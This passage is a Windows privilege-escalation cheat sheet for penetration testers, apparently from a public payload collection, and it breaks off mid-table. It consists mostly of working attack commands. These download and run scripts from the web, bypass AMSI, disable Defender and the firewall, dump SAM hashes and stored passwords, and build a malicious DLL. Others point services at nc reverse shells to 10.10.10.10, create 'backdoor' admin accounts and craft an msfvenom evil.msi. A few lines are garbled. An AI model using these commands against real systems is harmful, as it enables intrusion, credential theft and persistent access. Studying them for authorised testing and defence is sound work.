# Windows - Privilege Escalation ## Summary * [Tools](#tools) * [Windows Version and Configuration](#windows-version-and-configuration) * [User Enumeration](#user-enumeration) * [Network Enumeration](#network-enumeration) * [Antivirus & Detections](#antivirus--detections) * [Windows Defender](#windows-defender) * [AppLocker Enumeration](#applocker-enumeration) * [Powershell](#powershell) * [Default Writeable Folders](#default-writeable-folders) * [EoP - Looting for passwords](#eop---looting-for-passwords) * [SAM and SYSTEM files](#sam-and-system-files) * [Search for file contents](#search-for-file-contents) * [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename) * [Search the registry for key names and passwords](#search-the-registry-for-key-names-and-passwords) * [Passwords in unattend.xml](#passwords-in-unattendxml) * [Wifi passwords](#wifi-passwords) * [Passwords stored in services](#passwords-stored-in-services) * [Powershell history](#powershell-history) * [EoP - Processes Enumeration and Tasks](#eop---processes-enumeration-and-tasks) * [EoP - Incorrect permissions in services](#eop---incorrect-permissions-in-services) * [EoP - Windows Subsystem for Linux (WSL)](#eop---windows-subsystem-for-linux-wsl) * [EoP - Unquoted Service Paths](#eop---unquoted-service-paths) * [EoP - Named Pipes](#eop---named-pipes) * [EoP - Kernel Exploitation](#eop---kernel-exploitation) * [EoP - AlwaysInstallElevated](#eop---alwaysinstallelevated) * [EoP - Insecure GUI apps](#eop---insecure-gui-apps) * [EoP - Evaluating Vulnerable Drivers](#eop---evaluating-vulnerable-drivers) * [EoP - Runas](#eop---runas) * [EoP - Abusing Shadow Copies](#eop---abusing-shadow-copies) * [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system) * [EoP - Living Off The Land Binaries and Scripts](#eop---living-off-the-land-binaries-and-scripts) * [EoP - Impersonation Privileges](#eop---impersonation-privileges) * [Restore A Service Account's Privileges](#restore-a-service-accounts-privileges) * [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives) * [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation) * [Juicy Potato (abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges) * [EoP - Privileged File Write](#eop---privileged-file-write) * [DiagHub](#diaghub) * [UsoDLLLoader](#usodllloader) * [WerTrigger](#wertrigger) * [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure) * [MS08-067 (NetAPI)](#ms08-067-netapi) * [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7) * [MS11-080 (adf.sys)](#ms11-080-afd.sys---microsoft-windows-xp-2003) * [MS15-051 (Client Copy Image)](#ms15-051---microsoft-windows-2003--2008--7--8--2012) * [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64) * [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue) * [CVE-2019-1388](#cve-2019-1388) * [References](#references) ## Tools - [PowerSploit's PowerUp](https://github.com/PowerShellMafia/PowerSploit) ```powershell powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks ``` - [Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock](https://github.com/rasta-mouse/Watson) - [(Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities](https://github.com/rasta-mouse/Sherlock) ```powershell powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1 ``` - [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot) - [Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester) ```powershell ./windows-exploit-suggester.py --update ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt ``` - [windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems](https://github.com/pentestmonkey/windows-privesc-check) - [WindowsExploits - Windows exploits, mostly precompiled. Not being updated.](https://github.com/abatchy17/WindowsExploits) - [WindowsEnum - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum) - [Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.](https://github.com/GhostPack/Seatbelt) ```powershell Seatbelt.exe -group=all -full Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt" Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\"" ``` - [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless) - [JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS) ```powershell powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt ``` ## Windows Version and Configuration ```powershell systeminfo | findstr /B /C:"OS Name" /C:"OS Version" ``` Extract patchs and updates ```powershell wmic qfe ``` Architecture ```powershell wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% ``` List all env variables ```powershell set Get-ChildItem Env: | ft Key,Value ``` List all drives ```powershell wmic logicaldisk get caption || fsutil fsinfo drives wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` ## User Enumeration Get current username ```powershell echo %USERNAME% || whoami $env:username ``` List user privilege ```powershell whoami /priv whoami /groups ``` List all users ```powershell net user whoami /all Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name ``` List logon requirements; useable for bruteforcing ```powershell$env:usernadsc net accounts ``` Get details about a user (i.e. administrator, admin, current user) ```powershell net user administrator net user admin net user %USERNAME% ``` List all local groups ```powershell net localgroup Get-LocalGroup | ft Name ``` Get details about a group (i.e. administrators) ```powershell net localgroup administrators Get-LocalGroupMember Administrators | ft Name, PrincipalSource Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource ``` ## Network Enumeration List all network interfaces, IP, and DNS. ```powershell ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` List current routing table ```powershell route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` List the ARP table ```powershell arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` List all current connections ```powershell netstat -ano ``` List firewall state and current configuration ```powershell netsh advfirewall firewall dump or netsh firewall show state netsh firewall show config ``` List firewall's blocked ports ```powershell $f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports ``` Disable firewall ```powershell netsh firewall set opmode disable netsh advfirewall set allprofiles state off ``` List all network shares ```powershell net share ``` SNMP Configuration ```powershell reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` ## Antivirus & Detections ### Windows Defender ```powershell # check status of Defender PS C:\> Get-MpComputerStatus # disable Real Time Monitoring PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus ``` ### AppLocker Enumeration - With the GPO - HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2 (Keys: Appx, Dll, Exe, Msi and Script). List AppLocker rules ```powershell PS C:\> $a = Get-ApplockerPolicy -effective PS C:\> $a.rulecollections ``` ### Powershell Default powershell locations in a Windows system. ```powershell C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell ``` Example of AMSI Bypass. ```powershell PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) ``` ### Default Writeable Folders ```powershell C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` ## EoP - Looting for passwords ### SAM and SYSTEM files The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM. ```powershell # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` Generate a hash file for John using `pwdump` or `samdump2`. ```powershell pwdump SYSTEM SAM > /root/sam.txt samdump2 SYSTEM SAM -o sam.txt ``` Then crack it with `john -format=NT /root/sam.txt`. ### Search for file contents ```powershell cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` ### Search for a file with a certain filename ```powershell dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` ### Search the registry for key names and passwords ```powershell REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s ``` ### Read a value of a certain sub key ```powershell REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList ``` ### Passwords in unattend.xml Location of the unattend.xml files. ```powershell C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml ``` Display the content of these files with `dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul`. Example content ```powershell U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo== true Administrateur *SENSITIVE*DATA*DELETED* administrators;users Administrateur ``` Unattend credentials are stored in base64 and can be decoded manually with base64. ```powershell $ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d SecretSecurePassword1234* ``` The Metasploit module `post/windows/gather/enum_unattend` looks for these files. ### IIS Web config ```powershell Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` ```powershell C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config C:\inetpub\wwwroot\web.config ``` ### Other files ```bat %SYSTEMDRIVE%\pagefile.sys %WINDIR%\debug\NetSetup.log %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software, %WINDIR%\repair\security %WINDIR%\iis6.log %WINDIR%\system32\config\AppEvent.Evt %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav %WINDIR%\system32\CCM\logs\*.log %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat %WINDIR%\System32\drivers\etc\hosts dir c:*vnc.ini /s /b dir c:*ultravnc.ini /s /b ``` ### Wifi passwords Find AP SSID ```bat netsh wlan show profile ``` Get Cleartext Pass ```bat netsh wlan show profile key=clear ``` Oneliner method to extract wifi passwords from all the access point. ```batch cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on ``` ### Passwords stored in services Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using [SessionGopher](https://github.com/Arvanaghi/SessionGopher) ```powershell https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1 Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -AllDomain -o Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ### Powershell history ```powershell type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ## EoP - Processes Enumeration and Tasks What processes are running? ```powershell tasklist /v net start sc query Get-Service Get-Process Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize ``` Which processes are running as "system" ```powershell tasklist /v /fi "username eq system" ``` Do you have powershell magic? ```powershell REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion ``` List installed programs ```powershell Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` List services ```powershell net start wmic service list brief tasklist /SVC ``` Scheduled tasks ```powershell schtasks /query /fo LIST 2>nul | findstr TaskName schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State ``` Startup tasks ```powershell wmic startup get caption,command reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" ``` ## EoP - Incorrect permissions in services > A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system. Often, services are pointing to writeable locations: - Orphaned installs, not installed anymore but still exist in startup - DLL Hijacking ```powershell # find missing DLL - Find-PathDLLHijack PowerUp.ps1 - Process Monitor : check for "Name Not Found" # compile a malicious dll - For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll" - For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll" # content of windows_dll.c #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { if (dwReason == DLL_PROCESS_ATTACH) { system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt"); ExitProcess(0); } return TRUE; } ``` - PATH directories with weak permissions ```powershell $ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt $ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a" $ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt FOR /F %i in (Servicenames.txt) DO echo %i type Servicenames.txt FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt ``` Alternatively you can use the Metasploit exploit : `exploit/windows/local/service_permissions` Note to check file permissions you can use `cacls` and `icacls` > icacls (Windows Vista +) > cacls (Windows XP) You are looking for `BUILTIN\Users:(F)`(Full access), `BUILTIN\Users:(M)`(Modify access) or `BUILTIN\Users:(W)`(Write-only access) in the output. ### Example with Windows 10 - CVE-2019-1322 UsoSvc Prerequisite: Service account ```powershell PS C:\Windows\system32> sc.exe stop UsoSvc PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe" PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe" PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe" PS C:\Windows\system32> sc.exe qc usosvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: usosvc TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START (DELAYED) ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Update Orchestrator Service DEPENDENCIES : rpcss SERVICE_START_NAME : LocalSystem PS C:\Windows\system32> sc.exe start UsoSvc ``` ### Example with Windows XP SP1 - upnphost ```powershell # NOTE: spaces are mandatory for this exploit to work ! sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe" sc config upnphost obj= ".\LocalSystem" password= "" sc qc upnphost sc config upnphost depend= "" net start upnphost ``` If it fails because of a missing dependency, try the following commands. ```powershell sc config SSDPSRV start=auto net start SSDPSRV net stop upnphost net start upnphost sc config upnphost depend="" ``` Using [`accesschk`](https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe) from Sysinternals or [accesschk-XP.exe - github.com/phackt](https://github.com/phackt/pentest/blob/master/privesc/windows/accesschk-XP.exe) ```powershell $ accesschk.exe -uwcqv "Authenticated Users" * /accepteula RW SSDPSRV SERVICE_ALL_ACCESS RW upnphost SERVICE_ALL_ACCESS $ accesschk.exe -ucqv upnphost upnphost RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS $ sc config binpath="net user backdoor backdoor123 /add" $ sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" $ sc stop $ sc start $ sc config binpath="net localgroup Administrators backdoor /add" $ sc stop $ sc start ``` ## EoP - Windows Subsystem for Linux (WSL) Technique borrowed from [Warlockobama's tweet](https://twitter.com/Warlockobama/status/1067890915753132032) > With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ .exe --default-user root. Now start your bind shell or reverse. ```powershell wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` Alternatively you can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## EoP - Unquoted Service Paths The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first. ```powershell wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """ gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` * Metasploit exploit : `exploit/windows/local/trusted_service_path` * PowerUp exploit ```powershell # find the vulnerable application C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks" ... [*] Checking for unquoted service paths... ServiceName : BBSvc Path : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe StartName : LocalSystem AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path ... # automatic exploit Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe" ``` ### Example For `C:\Program Files\something\legit.exe`, Windows will try the following paths first: - `C:\Program.exe` - `C:\Program Files.exe` ## EoP - Named Pipes 1. Find named pipes: `[System.IO.Directory]::GetFiles("\\.\pipe\")` 2. Check named pipes DACL: `pipesec.exe ` 3. Reverse engineering software 4. Send data throught the named pipe : `program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe` ## EoP - Kernel Exploitation List of exploits kernel : [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) ##### #Security Bulletin   #KB     #Description    #Operating System - [MS17-017](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-017) 　[KB4013081]　　[GDI Palette Objects Local Privilege Escalation]　　(windows 7/8) - [CVE-2017-8464](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-8464) 　[LNK Remote Code Execution Vulnerability]　　(windows 10/8.1/7/2016/2010/2008) - [CVE-2017-0213](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-0213) 　[Windows COM Elevation of Privilege Vulnerability]　　(windows 10/8.1/7/2016/2010/2008) - [CVE-2018-0833](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-0833) [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2) - [CVE-2018-8120](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-8120) [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1) - [MS17-010](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-010) 　[KB4013389]　　[Windows Kernel Mode Drivers]　　(windows 7/2008/2003/XP) - [MS16-135](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-135) 　[KB3199135]　　[Windows Kernel Mode Drivers]　　(2016) - [MS16-111](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-111) 　[KB3186973]　　[kernel api]　　(Windows 10 10586 (32/64)/8.1) - [MS16-098](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-098) 　[KB3178466]　　[Kernel Driver]　　(Win 8.1) - [MS16-075](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075) 　[KB3164038]　　[Hot Potato]　　(2003/2008/7/8/2012) - [MS16-034](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034) 　[KB3143145]　　[Kernel Driver]　　(2008/7/8/10/2012) - [MS16-032](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032) 　[KB3143141]　　[Secondary Logon Handle]　　(2008/7/8/10/2012) - [MS16-016](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-016) 　[KB3136041]　　[WebDAV]　　(2008/Vista/7) - [MS16-014](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-014) 　[K3134228]　　[remote code execution]　　(2008/Vista/7) ... - [MS03-026](./MS03-026) 　[KB823980]　　 [Buffer Overrun In RPC Interface]　　(/NT/2000/XP/2003) To cross compile a program from Kali, use the following command. ```powershell Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c ``` ## EoP - AlwaysInstallElevated Check if these registry values are set to "1". ```bat $ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated $ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` Then create an MSI package and install it. ```powershell $ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi $ msiexec /quiet /qn /i C:\evil.msi ``` Technique also available in Metasploit : `exploit/windows/local/always_install_elevated` ## EoP - Insecure GUI apps Application running as SYSTEM allowing an user to spawn a CMD, or browse directories. Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt" ## EoP - Evaluating Vulnerable Drivers Look for vuln drivers loaded, we often don't spend enough time looking at this: ```powershell # https://github.com/matterpreter/OffensiveCSharp/tree/master/DriverQuery PS C:\Users\Swissky> driverquery.exe /fo table Module Name Display Name Driver Type Link Date ============ ====================== ============= ====================== 1394ohci 1394 OHCI Compliant Ho Kernel 12/10/2006 4:44:38 PM 3ware 3ware Kernel 5/18/2015 6:28:03 PM ACPI Microsoft ACPI Driver Kernel 12/9/1975 6:17:08 AM AcpiDev ACPI Devices driver Kernel 12/7/1993 6:22:19 AM acpiex Microsoft ACPIEx Drive Kernel 3/1/2087 8:53:50 AM acpipagr ACPI Processor Aggrega Kernel 1/24/2081 8:36:36 AM AcpiPmi ACPI Power Meter Drive Kernel 11/19/2006 9:20:15 PM acpitime ACPI Wake Alarm Driver Kernel 2/9/1974 7:10:30 AM ADP80XX ADP80XX Kernel 4/9/2015 4:49:48 PM PS C:\Users\Swissky> DriverQuery.exe --no-msft [+] Enumerating driver services... [+] Checking file signatures... Citrix USB Filter Driver Service Name: ctxusbm Path: C:\Windows\system32\DRIVERS\ctxusbm.sys Version: 14.11.0.138 Creation Time (UTC): 17/05/2018 01:20:50 Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems, Inc.", L=Fort Lauderdale, S=Florida, C=US ``` ## EoP - Runas Use the `cmdkey` to list the stored credentials on the machine. ```powershell cmdkey /list Currently stored credentials: Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` Then you can use `runas` with the `/savecred` options in order to use the saved credentials. The following example is calling a remote binary via an SMB share. ```powershell runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` Using `runas` with a provided set of credential. ```powershell C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` ```powershell $secpasswd = ConvertTo-SecureString "" -AsPlainText -Force $mycreds = New-Object System.Management.Automation.PSCredential ("", $secpasswd) $computer = "" [System.Diagnostics.Process]::Start("C:\users\public\nc.exe"," 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer) ``` ## EoP - Abusing Shadow Copies If you have local administrator access on a machine try to list shadow copies, it's an easy way for Privilege Escalation. ```powershell # List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows # List shadow copies using diskshadow diskshadow list shadows all # Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ ``` ## EoP - From local administrator to NT SYSTEM ```powershell PsExec.exe -i -s cmd.exe ``` ## EoP - Living Off The Land Binaries and Scripts Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/ > The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques. A LOLBin/Lib/Script must: * Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra "unexpected" functionality. It is not interesting to document intended use cases. Exceptions are application whitelisting bypasses * Have functionality that would be useful to an APT or red team ```powershell wmic.exe process call create calc regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll Microsoft.Workflow.Compiler.exe tests.xml results.xml ``` ## EoP - Impersonation Privileges Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files. | Privilege | Impact | Tool | Execution path | Remarks | | --- | --- | --- | --- | --- | |`SeAssignPrimaryToken`| ***Admin*** | 3rd party tool | *"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"* | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. | |`SeBackup`| **Threat** | ***Built-in commands*** | Read sensitve files with `robocopy /b` |- May be more interesting if you can read %WINDIR%\MEMORY.DMP

- `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files.

- Robocopy requires both SeBackup and SeRestore to work with /b parameter. | |`SeCreateToken`| ***Admin*** | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. || |`SeDebug`| ***Admin*** | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | |`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys`
2. Exploit the driver vulnerability

Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)
2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh) | |`SeRestore`| ***Admin*** | **PowerShell** | 1. Launch PowerShell/ISE with the SeRestore privilege present.
2. Enable the privilege with [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)).
3. Rename utilman.exe to utilman.old
4. Rename cmd.exe to utilman.exe
5. Lock the console and press Win+U| Attack may be detected by some AV software.

